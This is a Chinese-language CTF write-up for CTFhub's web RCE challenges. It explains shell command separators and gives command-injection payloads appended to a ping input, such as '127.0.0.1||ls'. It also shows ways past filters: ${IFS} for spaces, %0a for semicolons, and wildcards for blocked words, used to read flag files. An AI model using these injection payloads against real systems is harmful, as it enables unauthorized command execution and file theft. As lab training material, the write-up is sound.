CTFhub技能树web-RCE

1.命令注入
打开源代码发现是一个ping命令
CTFhub技能树web-RCE_第1张图片
这个命令的格式就很linux

linux中命令的链接符号:

1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,
但不保证每个命令都执行成功。

2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功
一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
root@ubuntu: x | y | z
在第1个作业中,shell将任务x的标准输出重定向到任务y的标准输入,同时还将y的标准输出重定向到z的标准输入
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

我们使用||和|:
127.0.0.1||ls
CTFhub技能树web-RCE_第2张图片
127.0.0.1||cat 90971940019205.php|base64(用base64的原因是直接打印不会输出)
在这里插入图片描述2.过滤cat

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

我们使用more
CTFhub技能树web-RCE_第3张图片127.0.0.1||more ****|base64
在这里插入图片描述
3.过滤空格
(1).使用<代替空格
127.0.0.1|cat (2).使用${IFS}代替空格
(3).使用$IFS$9代替空格
在这里插入图片描述4.过滤目录分割符
使用;符号分割命令

127.0.0.1;cd flag_is_here;cat flag_1201231973867.php|base64

在这里插入图片描述
5.过滤运算符
和4一样
但是要注意,管道符号不能用了,因此我们要用base64 file的形式来输出文件内容,如"base64 1.php".这个与****|base64是等价的
6.综合过滤
%0a可以代替;符号,但是要在url处输入,不然会被再次转义
空格用${IFS}代替
flag被过滤了可以用正则表达式f***_is_here,或者使用%09*_is_here补全

127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7046120744675.php

在这里插入图片描述

你可能感兴趣的:(CTFhub技能树web-RCE)